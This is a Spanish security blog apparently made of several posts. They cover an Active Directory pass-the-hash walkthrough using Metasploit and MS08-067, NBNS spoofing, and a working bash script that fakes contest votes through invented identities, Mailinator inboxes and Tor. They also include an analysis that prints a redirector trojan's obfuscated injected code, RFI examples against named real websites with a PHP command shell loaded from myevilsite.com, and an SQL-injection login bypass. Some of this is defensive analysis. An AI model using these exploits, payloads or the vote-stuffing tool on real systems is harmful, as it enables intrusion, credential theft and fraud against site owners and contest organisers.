Pass-The-Hash 0-100 PrivEsc Active Directory

En este post demostraremos e intentaremos explicar la técnica de escalada de privilegios Pass-The-Hash, la cual nos permite inyectarnos «on the fly» los credenciales en memoria de cualquier usuario logueado en un entorno de Active Directory.

Para ello se ha establecido el siguiente escenario de prueba:

 

  • Windows XP atacante ( sin credenciales de Active Directory )
  • Windows XP vulnerable «Yo tengo un XP, te lo llevo al partido si te hace falta» ( logueado como administrador en Active Directory )
  • BackTrack5 + Metasploit

Lo primero que un atacante realizaría para escalar privilegios sería encontrar en su segmento de red un SO Windows vulnerable a una ejecución remota de código ( RCE ), la cual nos permite mediante desbordamiento de memoria sobre el sistema afectado la ejecución de un payload en este caso meterpreter para obtener acceso completo al sistema.

Para ello utilizaremos nmap y su completa suite de scripts incluidos por defecto, de la siguiente manera:

  • nmap -sV -O –script=smb-check-vulns 192.168.1.0/24

 

 

Podemos observar como ha identificado el host 192.168.1.43 como vulnerable a MS08_067. Una vez identificado, utilizaremos metasploit para explotar la vulnerabilidad y acceder al sistema.

 

En el vídeo de la demostración, se puede observar como el primer Windows XP que aparece en escena está fuera del dominio, y al intentar acceder a los recursos de otro equipo logueado en Active Directory se nos aparece el prompt invitandonos a que insertemos el usuario correspondiente ( el cual desconocemos ).

Una vez que hemos accedido al sistema, puede que éste tenga un antivirus instalado y que no se haya dado cuenta ya que el proceso se inyecta en memoria y no se produce ningún tipo de escritura en el disco duro que es su mayor rango de acción, pasamos rápido a listar los hashes en memoria con el comando hashdump, que accederá al proceso LSASS ( Local Security Authority Subsystem Service ) para mostrar la información que se mantiene en memoria sobre la autenticación de ususarios en el sistema.

La siguiente fase del ataque será inyectar esos hashes en el Windows XP que se encuentra fuera del dominio y queremos cederle los mismos privilegios que el Windows XP víctima, para ello haremos uso de las utilidades de la suite Pass-The-Hash, por Hernán Ochoa de CoreSecurity.

De la suite usaremos varias herramientas:

  • whosthere.exe

Permite listas las credenciales NTLM ( usuario, dominio, hash LM y NTLM ), tanto locales como las que se producen a través de Escritorio Remoto

  • iam.exe

Permiten intercambiar «on the fly» las credenciales que le marquemos, sin necesidad de conocer la contraseña correspondiente y sin necesidad de crackear mediante rainbow tables, como en el anterior post Spoofing NBNS Responses

Lo que hacen estas herramientas es consultar a la libreria LSASRV.DLL y sobrepone los credenciales que le indiquemos, siendo a partir de ese momento una máquina totalmente asociada al dominio, con los mismos accesos a los recursos compartidos, etc.

Un problema que nos podemos encontrar es que whosthere viene preestablecido con unos direccionamientos de memoria a los cuales tiene que acceder que posiblemente no coincidan con la versión de la máquina víctima, por idioma o Service Pack, como se puede comprobar en la siguiente imagen:

 

Can´t find addresses !

 

Para ello deberemos de hacer uso del debugger IDA Pro en la máquina en la que queremos setear los credenciales obtenidos de la víctima, lo abrimos y seleccionamos LSASRV.DLL que se encuentra en C:\Windows\System32\lssarv.dll, como se muestra en la siguiente figura:

 

 

Esa es la información que nos muestra el IDA Pro + un script preparado al efecto por Herán Ochoa y que se encuentra en el source code de su herramienta, llamado passthehash.idc. Hacemos un Load del script  y encontramos la información que estabamos buscando en la parte inferior, como se muestra en la siguiente figura:

 

 

El script sencillamente nos allana el paso hacia las direcciones de memoria siguientes:

  • LsapAddCredential = 75403C18
  • LsaEncryptMemory = 753EFE43
  • g_Feedback@@3_KA = 75480C98
  • g_pDESXKey@@3PAU_desxtable = 75480CA0
  • LogonSessionList@@3U_LIST_ENTRY = 7547FC60
  • LogonSessionListCount@@3KA= 7547FE54

 

Lo que lo convierte en las siguientes direcciones útil para esta versión de Microsoft Windows XP SP3 que utilizaremos con whosthere.exe ->
75403C18:753EFE43:75480C98:75480CA0:7547FC60:7547FE54

 

Vemos como ahora con el direccionamiento correcto whosthere.exe es capaz de apoyarse en la libreria LSASRV.DLL para extraer la información que nos interesa, podemos ver como actualmente estamos logueados como Administrador y no pertenecemos a ningún dominio.

Ahora sólo nos queda ejecutar iam.exe + las direcciones de memoria extraidas + hashes obtenidos del sistema comprometido

 

Listo, ya somos administradores del dominio sin conocer la contraseña del Administrador con el riesgo de seguridad que ello implica.

Para visualizar el proceso completo pueden visitar el siguiente link HD en Vimeo

Publicado en Seguridad Informática | Deja un comentario

Spoofing NBNS Responses Parte I

Como parte de la presentación sobre seguridad en HTML + Javascript que podeis visualizar en el siguiente enlace:

Seguridad en el Entorno Corporativo Actual

Vamos a comentar la técnica de Spoofing de respuestas NBNS que se produce en un entorno de Active Directory, que también podeis ver en HD en el siguiente enlace:

HD Spoofing NBNS Responses

Los principios básicos para entender qué se provoca y qué sucede hay que tener claro qué es el NBNS.

NetBios Name Service es parte de la pila de protocolos TCP de NetBios ( algunos habrán leido acerca de servidores WINS por ejemplo en Windows 2000 Server ).

La misión del protocolo NBNS, que trabaja sobre UDP en el puerto 137, es similar a la del DNS, es decir, traducir de direcciones IP a nombres. -> Ej google.es -> 74.125.230.215.

Manteniendo un registro central, acelera el proceso de registro en la red de un nuevo nodo o computadora.

Y alguno dirá, que para eso está el DNS, correcto, pero como venimos diciendo, hay mucho tráfico que se escapa de las consultas a los DNS, y pasa a ser consultado vía NBNS.

Cuando tu máquina Windows intenta resolver un nombre a una dirección IP concreta, realiza los siguientes pasos:

– 1º C:\Windows\System32\drivers\etc\hosts

– 2º DNS

– 3º NBNS

Cualquier máquina Windows que intente localizar un recurso de red, o se añada una nueva máquina al Dominio, o cuando buscas desde Google Chrome, se produce tráfico NBNS.

 


                                                                                                                                                                                                           Anuncio de Host en la red

 

                                                                                                                                                                                                       Anuncio de Dominio en Active Directory

 

Sin ir más lejos y en el ejemplo que se usa en el vídeo, la barra de navegación que utilizamos para escribir y buscar a la misma vez, produce tráfico NBNS, ¿ Cómo ?

El navegador tiene que poder discernir entre lo que es una búsqueda de nombres o un servidor concreto como elmundo.es, si contiene espacios, será lo primero, si contiene puntos, lo segundo.

Si sabemos que se produce tráfico NBNS en una consulta en el navegador, y sabemos que es tráfico UDP Broadcast, es decir, Windows preguntará a todas las máquinas si sabe quién es esa búsqueda y si ese nombre pertenece a algún recurso que se esté compartiendo en el ámbito de Active Directory, será fácil redirigir el tráfico a nuestra conveniencia.

Para ello se emplean varios módulos de Metasploit:

 

auxiliary/spoof/nbns/nbns_response

auxiliary/server/capture/smb

auxiliary/server/capture/http_ntlm

Con esto, establecemos el envenenamiento ARP para redirigir el tráfico a nuestra máquina atacante, y establecemos varios fakeservices en la red que se encargarán de capturar los hashes LM/NTLM del usuario que está haciendo una consulta en su explorador, y cuando la haga, Bingo !

 

 

Obtendremos los hashes del usuario en cuestión, y podremos proceder a crackearlos e incluso inyectarlas en memoria mediante el proceso LSASS.exe ( Local Security Authority Subsystem Service) con varias herramientas de las que hablaremos más adelante y conseguir así una escalada de privilegios.

 

Saludos !

 

 

 

 

 

 

Publicado en Seguridad Informática | Deja un comentario

Playing with curl & web forms

Ese script en bash permite la reproducción en bucle de la acción de emitir
un voto mediante un formulario HTML de un conocido festival que pide un correo para posterior validación del mismo por link.

Como era de esperar, sólo se permitia un voto por cuenta de correo y nombre.

#!/bin/bash
### htmel[er]-fuck[er] 0.2 ###

URL=http://www.mailinator.com/maildir.jsp?email=
COMPLETO=~/40-votos
DIR=~/www.mailinator.com
LINKS=~/www.mailinator.com/links
LBM=http://www.blabla-rock.com/concursos/concurso-de-bandas/votos/?pag=xxx

while read line

do

CORREO=${line#*=}
sudo curl --socks5 127.0.0.1:9050 -d "votos_bandas=1&nombre=$line" $LBM

wget -r $URL$CORREO
sleep 4

cd $DIR
echo $CORREO > utf
CORREO=`cat utf` | sed 's/\%40/\@/' utf > utf-2

CORREO=`cat utf-2`

cat /home/own/www.mailinator.com/maildir.jsp\?email\=$CORREO |grep msgid > $DIR/msgid-extract
sleep 7
IDVALIDO=`/usr/bin/urlxtract.sed $DIR/msgid-extract|head -n 1`
lynx -dump "http://www.mailinator.com$IDVALIDO" | egrep -o "http:.*" > links
sleep 7
VI=`cat links |grep "votos"| tail -n 1`
wget --save-cookies wget-cook --keep-session-cookies $VI
PHPID=`cat wget-cook | awk '{print $7}'| tail -n 1`
sleep 4
sudo curl --socks5 127.0.0.1:9050 -b PHPSESSID=$PHPID -d "act=votar_vid&uid=$CORREO%40mailinator.com&idmaketa=xxx" $LBM
sleep 2
sudo /etc/init.d/tor restart
echo $CORREO >> correos-enviados

#         sudo mkdir ~/procesado/$DIR-$CORREO
#         sudo  cp -r $DIR ~/procesado/$DIR-$CORREO-$(date +%F-%H%M)
rm utf utf-2 wget-cook msgid-extract
cd ..
sudo  rm -rf $DIR

#         WAIT=$[ ( $RANDOM % 60 )  + 1 ]
sleep $WAIT
done < "$COMPLETO"

 

Analizando un poco este script tenemos lo siguiente:

 

URL=http://www.mailinator.com/maildir.jsp?email=

Mailinator es un servidor de correo que permite One Time Accounts,cuentas de correo que creamos para un sólo uso y no tener que dar nuestro correo personal si no queremos, la clara desventaja es que se caracterizan por una ID, y si la conocemos podemos leer el correo asociado sin introducir ningún pass.

 

COMPLETO=~/40-votos

Ese fichero contiene el número de votos que queremos ir introduciendo, en el siguiente formato:

Ximena+Pelayo+Caraballo&uid=addisonj86%40mailinator.com
Pedro+Ferrer+Nieto&uid=ziyawangz001%40mailinator.com
Gael+Gálvez+Rosado&uid=tepper.drew%40mailinator.com
Agustín+Rosario+Deleón&uid=victorysmile2001%40mailinator.com

[…]

Para lograrlo se hizo un shuffle de Nombre+Apellido1+Apellido2 + correo@mailinator con otros pequeños scripts y que se comentarán más adelante  de entre unas listas creadas al efecto con apellidos y nombres en este caso españoles, los correos de listas de spam.

Con nuestra siguiente cadena recogida en CORREO=${line#*=} :

Agustín+Rosario+Deleón&uid=victorysmile2001%40mailinator.com

Se va haciendo el POST con CURL y el correo de activación llega a su respectivo buzón.

Después, formamos otra URL de acceso directo a los buzones para descargarnos la página entera en formato texto y extraer entonces el enlace exacto del último correo recibido,

lynx -dump «http://www.mailinator.com$IDVALIDO» | egrep -o «http:.*» > links

del fichero creado links también habrá que extraer el enlace válido que tiene el siguiente formato:

$blabla-rock.com/votos?vi=2cc38f6722b04482c1da6d8f5982ae70

de la siguiente manera:

VI=`cat links |grep «votos»| tail -n 1`

Con esto y con el PHPSSID concreto de la sesión que hemos guardado en un fichero mediante el parámetro –save-cookies de wget ( teniendo en cuenta que sólo nos es válido para votar el PHPSSID que se nos crea la anterior url ), ya podemos realizar la última instancia POST con curl hacia el link válido que nos proporciona el buzón y proceder a una legítima votación con:

sudo curl –socks5 127.0.0.1:9050 -b PHPSESSID=$PHPID -d «act=votar_vid&uid=$CORREO%40mailinator.com&idmaketa=197″ $LBM

También se ha hecho uso de la red tor para anonimizar las conexiones al servidor y alternar las direcciones ip desde las que se ejecutan las acciones.

 

Subiendo 1,2,3,4..1340…. =)

 

 

 

 

 

 

 

Publicado en Seguridad Informática | Deja un comentario

Website attacked by the hijacking blog

#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+
+ attacked by te hijacking blog +
#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+
# #
# Author: Daniel Calvo Castro #
# Year : 2009 #
# #
# #
########################################################

Trojan.Redirector.E
JS:Redirector-B [Trj]

_______

[ txt creado joe formato iso-8859-15 75 columnas]
Se recomienda vi / joe GNU\Linux para leerlo

1.0 - Introduccion al problema
1.1 - Composicion del troyano
1.2 - blog.htm
1.3 - check.js
1.4 - dummy.htm
1.5 - t.htm

2.0 - Tipos fichero infectados
- css
- js

3.0 - .htaccess modificado

4.0 - Cuidado con ... Tiny PHP-sec
4.1 Errores basicos al programar en php
4.2 Evitando accesos indeseados
4.3 Evitando XSS y SQL-Inject mediante .htaccess
4.4.1 php.ini [ Something about it ]
- register_globals on/off
- allow_url_include / allow_url_fopen
4.4.2 php.ini [ flags en .htaccess ]
4.4.3 Un poco de seguridad en nuestro CMS
4.4.4 Alguna cosa mas

= 1.0 = [Introduccion al problema] ========================================

Hoy en dia las continuas amenazas del malware que nos rodean en la red se
estan volviendo bastante sofisticadas, pretendo comentar en este texto
hasta donde he podido profundizar, como funciona este especimen
troyano-spammer, que afecta y como minimizar su impacto en la medida de
lo posible para servidores php y hosting mal configurados,phpBB,etc...
un troyano que aunque desconocido afecta a muchos servidores repartidos
world-wide.
Tengo que aclarar que este texto ha sido creado a traves de una
experiencia personal en las siguientes condiciones, y que no pretende ser
una solucion definitiva al respecto, sino una manera de exponer algo con lo
que me he encontrado y de la cual no existe una fuente de informacion en
spanish sobre la que buscar, exponiendo algunos metodos de ataque
utilizados, y algunos metodos para atajarlos, este doc sigue abierto a
por supuesto correcciones y posteriores nuevas versiones, siendo el
escenario el siguiente :

- Portal alojado en hostmonster (shared + php + mysql )

- Mismo propietario/grupo para todos los ficheros de public_html

- Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2
mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635

- Safe-Mode: off

- magic_quotes_gpc on

- allow_url_fopen on

- allow_url_include on

- Acceso mediante cmdshell, acceso ssh deshabilitado por defecto

Los servidores comprometidos muestran un contenido diferente al original
dependiendo de si se accede a ellos directamente o a traves de un motor de
busqueda, entre ellos Google,yacom,Live.com,orange,terra,click,freenet...
De manera que si accedemos normalmente se muestra legible el contenido,
aunque las imagenes pueden dejar de funcionar, aunque eso se comentara
despues, pero si lo hacemos a traves de google, apuntara hacia un blog,
y el navegador es posible que abajo a la izquierda muestre que se intenta
conectar tb a 58.22.101.120, que si consultamos... :

own@box:~$ whois 58.22.101.120
% [whois.apnic.net node-2]
% Whois data copyright terms http://www.apnic.net/db/dbcopyright.html

inetnum: 58.22.100.0 - 58.22.103.255
netname: CNCGROUP-FJ-FUZHOU-IDC
country: CN
descr: Fuzhou city, fujian provincial network of CNCGROUP
admin-c: FZ165-AP
tech-c: FZ165-AP
status: ALLOCATED NON-PORTABLE
changed: chenmin_deletethispart_@china-netcom.com 20071008
mnt-by: MAINT-CNCGROUP-FJ
mnt-lower: MAINT-CN-FZ28
source: APNIC

route: 58.22.0.0/15
descr: CNCGroup CHINA169 FuJian province network
country: CN
origin: AS4837
mnt-by: MAINT-CNCGROUP-RR
changed: abuse@cnc-noc.net 20060330
source: APNIC

Se puede comprobar que el servidor remoto proviene en teoria de China,
aunque esto no nos muestra informacion fiable porque puede ser una makina
usada para tales efectos, pudiendo ser mi vecino.

Que los servers sean objeto de este ataque viene dado por agujeros de
seguridad como RFI, LFI o Blind SQL Inject por ejemplo, derivado de la
programacion no segura en nuestras consultas a bdd MySQL, formularios,etc,
cualquier bug que permita tener un acceso con el que poder ejecutar
comandos tanto manualmente o a gran escala,pudiendo ser victima cms
como wordpress,joomla,etc.

= 1.1 = [ Composicion del troyano ] ======================================

Se conforma, en principio de 5 ficheros :

own@box:~/somesite.com/singles/nefasto/vole$ ls -shal

4,0K drwxr-xr-x 3 root root 4,0K ene 18 22:26 .
4,0K drwxr-xr-x 3 root root 4,0K ene 18 22:26 ..
36K -rw-r--r-- 1 own own 36K ago 15 16:01 blog.htm
4,0K -rw-r--r-- 1 own own 1,2K ago 15 16:01 check.js
4,0K -rw-r--r-- 1 own own 658 ago 15 16:01 dummy.htm
4,0K drwxr-xr-x 2 own own 4,0K ene 18 22:26 ex3
4,0K -rw-r--r-- 1 own own 637 ene 18 22:26 index.html

own@box:~/somesite.com/singles/nefasto/vole/ex3$ ls -shal

4,0K -rw-r--r-- 1 own own 524 ene 18 22:26 index.html
36K -rw-r--r-- 1 own own 36K ago 15 16:01 t.htm

= 1.2 = [ blog.htm ] ===================================================

Contiene el codigo html de la pagina a la cual somos redireccionados.
Tambien es posible que nos lleve a la siguiente direccion
http://yourstabilitysystem.com/download.php?affid=08012 , desde la cual
intenta hacernos creer mediante ingenieria social que nuestro sistema
esta infectado y necesitas instalar un antivirus mediante la descarga
del fichero install.exe, intentando antes aprovechar alguna vulnerabilidad
del explorador para hacer lo mismo de manera que el usuario ni se de cuenta,
como siempre, ni CASO.
Los usuarios de InternetExploter han sido en el tiempo los mas asediados
por este tipo de vulnerabilidades, pero Mozilla no se salva tampoco, hay
que mantenerse actualizado, o usar otra cosa, que, no , sea, windows.. =)

= 1.3 = [ check.js ] ==================================================

Este fichero contiene codigo javascript que comprueba la
propiedad referrer del navegador, si coincide con uno de los senialados
motores de busqueda el explorador es redireccionado al "Hijacking Blog"

if ( (Math.random()*60 < JSS1) &amp;amp;amp;&amp;amp;amp;
document.referrer.match(/^http:\/\/([a-z0-9_\-]+\.)*(google|msn|yahoo|
live|ask|dogpile|mywebsearch|yandex|rambler|aport|mail|gogo|poisk|allt
heweb|fireball|freenet|abacho|wanadoo|free|club-internet|aliceadsl|ali
ce|skynet|terra|ya|orange|clix|terravista|gratis-ting|suomi24)\./)&amp;amp;amp;&amp;amp;amp;do
cument.referrer.match(/[?&amp;amp;amp;](q|query|qs|searchfor|search_for|w|p|r|key|
keywords|search_string|search_word|buscar|text|words|su|qt|rdata)\=/)&amp;amp;amp;
&amp;amp;amp;!document.referrer.match(/[?&amp;amp;amp;](q|query|qs|searchfor|search_for|w|p|r|
key|keywords|search_string|search_word|buscar|text|words|su|qt|rdata)\
=[^&amp;amp;amp;]+(%3A|%22)/)
){
!location.href=JSS3+'?r='+encodeURIComponent(document.referrer)+'&amp;amp;amp;s='+JSS2;
};

= 1.4 = [ dummy.htm ] =================================================

Intenta clickar a los elementos con id 'hr' ( auto click a blog.htm)
y por si falla, prueba otra redireccion.

<script type="text/javascript">// <![CDATA[
try {
document.getElementById('hr').click()
} catch(e) {

location.href='blog.htm'
}
// ]]></script>
= 1.5 = [ ex3/t.htm] =====================================================

Pagina index como blog.htm que al abrirla nos tira suciedad tipica como
Your system is infected by... buy now..

= 2.0 = [ Tipos de fichero infectados ] ================================

Una vez que ha conseguido hacerse un hueco en el server afectado infecta
todos los .js y la mayoria de .css, insertando codigo malicioso en todos y
cada uno de ellos, como ejemplo aleatorio stilo.css

.concierto_on
{
font-color=#CCCCCC;
}
.concierto_off
{
font-color=#EEEEEE;
}

A simple vista nothing wrong pero si bajamos por el ficherito...

* a0b4df006e02184c60dbf503e71c87ad */

body { margin-top:
expression(eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%4
5%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%2
0%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%32%37%32%33%37%34%38%3B%20%4A%53%53%33%20%
3D%20%27%2F%73%69%6E%67%6C%65%73%2F%73%69%6E%67%6C%65%73%2F%50%65%72%72%61%76%65%72
%64%65%2F%76%6F%6C%65%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3
D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%
72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63
%27%2C%20%27%2F%73%69%6E%67%6C%65%73%2F%73%69%6E%67%6C%65%73%2F%50%65%72%72%61%76%6
5%72%64%65%2F%76%6F%6C%65%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%
41%74%74%72%69%2%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%
75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27
%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6
A%73%29%20%7D%3B%20')))

}

/* a995d2cc661fa72452472e9554b5520c */

Lo primero es una ristra md5 que identifica al server como vulnerable y lo
segundo esta codificado en ASCII que al cambio:

body { margin-top:

expression(eval(unescape('if (!document.getElementById('JSSS')){ JSS1 =
59; JSS2 = 2723748; JSS3 = '/singles/singles/nefasto/vole/dummy.htm';
var js = document.createElement('script'); js.setAttribute('src',
'/singles/singles/nefasto/vole/check.js'); js.setAttribute('id',
'JSSS'); document.getElementsByTagName('head').item(0).appendChild(js) };
'))) }

= 3.0 = [ .htaccess modificado ] =======================================

El fichero .htaccess tambien es editado y el siguiente code insertado:

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://([a-z0-9_\-]+\.)*(google|msn|yahoo
|live|ask|dogpile|mywebsearch|yandex|rambler|aport|mail|gogo|poisk|
alltheweb|enet|abacho|wanadoo|free|club-internet|aliceadsl|skynet|ya|
orange|clix|terra|vista|gratis-ting|suomi24)\. [NC]

RewriteCond %{HTTP_REFERER}
[?&amp;amp;amp;](q|query|qs|searchfor|search_for|w|p|r|key|
keywords|search_string|search_word|buscar|text|words|su|qt|rdata)\=
RewriteCond %{HTTP_REFERER} ![?&amp;amp;amp;](q|query|qs|searchfor|search_for|w|p|r|key|
keywords|search_string|search_word|buscar|text|words|su|qt|rdata)\=[^&amp;amp;amp;]+(%3A|%22)

RewriteCond %{TIME_SEC}RewriteRule ^.*$ /singles/singles/nefasto/vole/ex3/t.htm [L]

Como vemos, esto es lo que hace es aprovechar el referer,es decir,
al buscar desde google la propiedad referer de nuestro navegador
toma forma y se identifica como google,y hace que salte hacia el blog
indicado, aparte de nuestra ristra md5. Es parecido al spam de referer
pero en este caso mas sofisticado.
Todo esto a pleno rendimiento tiene como consecuencia lo que hablaba
al principio del documento.

= 4.0 = [ Cuidado con... Tiny PHP-sec ] ==================================

En foros phpBB hay que tener cuidado con los LFI que permiten hacer upload
de scripts php como jpg,gif o png, ya que incluso se pueden editar
hexadecimalmente los bytes destinados a comentarios de una foto para
incluir codigo y ejecutarlo en el servidor, p.e :

&amp;amp;amp;nbsp;

Esa linea seria suficiente para crear un RFI,en el caso de poder hacer
upload mediante LFI aniadiendo esa linea al comentario de un jpg..

Para solucionar el problema NO basta con borrar los ficheros infectados
y retirar el codigo insertado tanto en .js como en .css ni asignar los
permisos correctamente (0711),ya que al poco tiempo estariamos igual, ya
que si no eliminamos el hole de nuestro codigo php se podra acceder de
nuevo,y en el caso de que el user con el que accedas sea el mismo
propietario de los ficheros, estos pueden ser reeditados...y vuelta a
empezar.
A continuacion voy a explicar brevemente uno de los errores mas comunes
que permiten lo que conocemos como php-injection,aclarar que no soy
programador avanzado :

= 4.1 = [ Errores basicos al programar en php ] =====================

Este fichero hole.php es el escenario tipico de sitios creados
dinamicamente con php cuya pagina principal, index.php comunmente,
reciben links a traves de la URL, ejemplo:

http://www.holesite.com/index.php?a=foo


http://www.holesite.com/index.php?a=bar


http://www.holesite.com/index.php?a=cisco

De manera que un index.php de un site vulnerable seria :

<?
// Name: index.php

$x = $_GET['a'];
include $x.".php";

?>

Esto lo que hace es que el valor $x .php se pasa a traves
de la URL como 'a'. A partir de ahi ya se puede hacer una peticion
con URL manipulada de la siguiente manera:

http://www.holesite.com/index.php?a=http://somesite.com/haxor/evil.jpg?

Y ejecutar en el servidor holesite.com un script que le pasamos a la
variable 'a' como si fuera una imagen jpg que en realidad esconde
codigo php, lo cual os puede hacer una idea del alcance de la vuln,
ya que de esta manera se podrian ejecutar comandos,llegando a poder
tener acceso al user/pwd de la bdd en MySQL,o un bot
en perl con los que en el caso de ser un ataque masivo se podria llegar
a montar una botnet zombie bastante grande desde la que manejar los
servidores afectados (DDoS), o que evil.jpg? sea un script que crea un
fichero local en el server con la ristra md5 como la que tenemos, asi­
desde una tool automatica hacer peticiones GET a dicho fichero para saber
si sigue siendo vulnerable...e incluso llegar a conseguir root en el server
alojado, este es el metodo basicamente.

Ej webs vulnerables a RFI:

http://wingsart.ru/gstbook/templates/errors.php?error=[cmdshell]


http://www.pflegedienst-meiners.de/modules/cjaycontent/admin/editor2/spaw_control.class.php?spaw_root=[cmdshell]


http://www.oevp.info/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=[cmdshell]


http://www.neurologist.ru/index.php?_REQUEST=&amp;amp;_REQUEST[option]=com_content&amp;amp;_REQUEST[Itemid]=1&amp;amp;GLOBALS=&amp;amp;mosConfig_absolute_path=[cmdshell]


http://www.hostingwell.com/~aussiega/directory/defaults_setup.php?ROOT_PATH=[cmdshell]

Y asi miles. Existen multitud de cmdshells in the wild(r57,c99...) y no es el proposito
de este doc darlas a conocer, pero para dar una idea, nuestro cmdshell
casero podria llamarse firekid.txt y contener los siguiente:

<?
system($cmd);
?>

De tal manera que para un simple listado de ficheros del servidor

http://www.holesite.com/vulnpath/vuln.php?vulnvar=http://www.myevilsite.com/firekid.txt?&amp;amp;&amp;amp;cmd=ls

-------------------
www.hostingwell.com :
-------------------

total 600
91030232 drwxr-xr-x 18 aussiega aussiega 2048 Apr 30 2008 .
91029832 drwxr-x--- 53 aussiega nobody 2048 Sep 2 2008 ..
91035844 -rw-r--r-- 1 aussiega aussiega 1274 Dec 7 2005 .htaccess
91035846 -rwxr--r-- 1 aussiega aussiega 2793 Dec 7 2005 adduser.php
91035848 -rwxr--r-- 1 aussiega aussiega 37045 Feb 9 2006 agreement.htm
91035850 -rwxr--r-- 1 aussiega aussiega 4305 Dec 7 2005 alpha.php
91035852 -rwxr--r-- 1 aussiega aussiega 16328 Dec 7 2005 auth.php
91030234 drwxr-xr-x 2 aussiega aussiega 2048 Dec 21 2005 backup
91030236 drwxrwxrwx 2 aussiega aussiega 2048 Feb 5 04:04 banner
91035854 -rwxr--r-- 1 aussiega aussiega 6972 Dec 7 2005 banner.php
91030238 drwxrwxrwx 2 aussiega aussiega 2048 Jan 23 08:10 banner2
91035862 -rwxr--r-- 1 aussiega aussiega 2457 Dec 7 2005 categorylist.php
91035864 -rwxr--r-- 1 aussiega aussiega 5122 Dec 7 2005 check_payment.php
91035866 -rwxr--r-- 1 aussiega aussiega 5820 Dec 7 2005 chooselisting.php
91035868 -rwxr--r-- 1 aussiega aussiega 28879 Dec 7 2005 compare.php
91035870 -rwxr--r-- 1 aussiega aussiega 5179 Dec 7 2005 contact.php
91035872 -rw-rw-rw- 1 aussiega aussiega 38 Apr 30 2008 counter.txt
91030240 drwxr-xr-x 4 aussiega aussiega 2048 Dec 8 2005 cp
268533824 -rwxr--r-- 1 aussiega aussiega 3746 Apr 30 2008 cron.php
91035956 -rwxr--r-- 1 aussiega aussiega 855 Dec 7 2005 debug.php
91035958 -rwxr--r-- 1 aussiega aussiega 2804 Apr 30 2008 defaults.php
268533828 -rwxr--r-- 1 aussiega aussiega 3067 Apr 14 2008 defaults_setup.php
91030246 drwxr-xr-x 2 aussiega aussiega 2048 Dec 7 2005 docs
91030248 drwxrwxrwx 2 aussiega aussiega 2048 Dec 7 2005 documents

= 4.2 = [ Evitando accesos indeseados ] =============================

En esta seccion he tratado de reproducir por que se produce y como
se podria identificar una vulnerabilidad RFI, y lo mas interesante como tratar
de solucionar y sanar el codigo con ejemplos reales para evitar los ataques.
Sabemos que para reproducir un ataque RFI necesitamos que una variable no este
definida, esto esta muy bien,pero veamos un ejemplo :

--------
1024 CMS --------
milw0rm ID: 8003
Found by JoSs

En el fichero /themes/default/layouts/standard.php se observa la siguiente
porcion de codigo vulnerable a RFI:

<!--?php <br ?--> // $page_include = deberia estar definida;
if($page_ck['custom'] == 'N' || isset($page_include)) {
if(!isset($page_include)) include("./pages/".$page."/default/content.php");
else include($page_include);
} else {

[...]

Como observamos, $page_include no esta definida, de manera que el sistema
no sabe que tipo de informacion contiene,sabe que la recogera por url
y ahi es donde se produce la vulnerabilidad de la aplicacion.

$ http://localhost:8080/themes/default/layouts/standard.php?page_include=http://www.marca.es

Y leeremos el marca a traves de tu servidor, si no defines $page_include =)

[ ... ]

-----------------------------
PHP+MySQL Login SQL Injection
-----------------------------

<?PHP

// Iniciar sesionn
session_start();

// Si se ha enviado el formulario

if (isset($_REQUEST['usuario']) &amp;&amp; isset($_REQUEST['clave']))
{
$usuario=$_REQUEST['usuario'];
$clave=$_REQUEST['clave'];

// Comprobar que el usuario esta autorizado a entrar

$conexion = mysql_connect ("localhost", "r00t", "fast")
or die ("No se puede conectar con el servidor");

mysql_select_db ("mibdd")
or die ("No se puede seleccionar la base de datos");

$salt = substr ($usuario, 0, 2);
$clave_crypt = crypt ($clave, $salt);

$instruccion = "select usuario, clave from administracion where
usuario = '$usuario'" .

" and clave = '$clave_crypt'";
$consulta = mysql_query ($instruccion, $conexion)

or die ("Fallo en la consulta");

$nfilas = mysql_num_rows ($consulta);

mysql_close ($conexion);

// Los datos introducidos son correctos

if ($nfilas > 0)

{

$usuario_valido = $usuario;

session_register ("usuario_valido");

}

}

?>

Este es un sistema de logueo basico en php+mysql, la sentencia SQL que se
ejecutaria en la bdd seria

SELECT usuario, clave from administracion where usuario = '$usuario'" " and
clave = '$clave_crypt'";

El sistema comprobaria en la bdd que $usuario se corresponde con el pass
encriptado en la bdd, en este caso $crypt usa DES y guardara un hash del
tipo xSkjMnsUj, si da como resultado 1 ( true ), nos dejara pasar.
Ahora es donde entra en juego la inyeccion, si nosotros intuimos,o sabemos,
que existe un usuario valido, pero no sabemos su password,podriamos jugar
con el formulario de validacion y hacer la siguiente consulta:

SELECT usuario, clave from administracion where usuario = 'admin'" " and
clave = '' OR ''='";

De lo que se trataria es de engañar a la bdd ya que no valida correctamente
lo que se le inserta, de tal manera que el sistema, con esa consulta, pensaria:

- vale, admin esta en la bdd
- vale,la contraseña no la sabes, pero '' OR ''=' significa que NADA OR
NADA = NADA, por lo tanto, true.
- Te dejo pasar

Login: admin
Password: ' OR ''='

Welcome to the administration page =)

Esto se evitaria ( en primera instancia ) usando funciones del tipo mysql_real_scape_string, de manera que
una consulta algo mejor hecha seria de la siguiente manera:

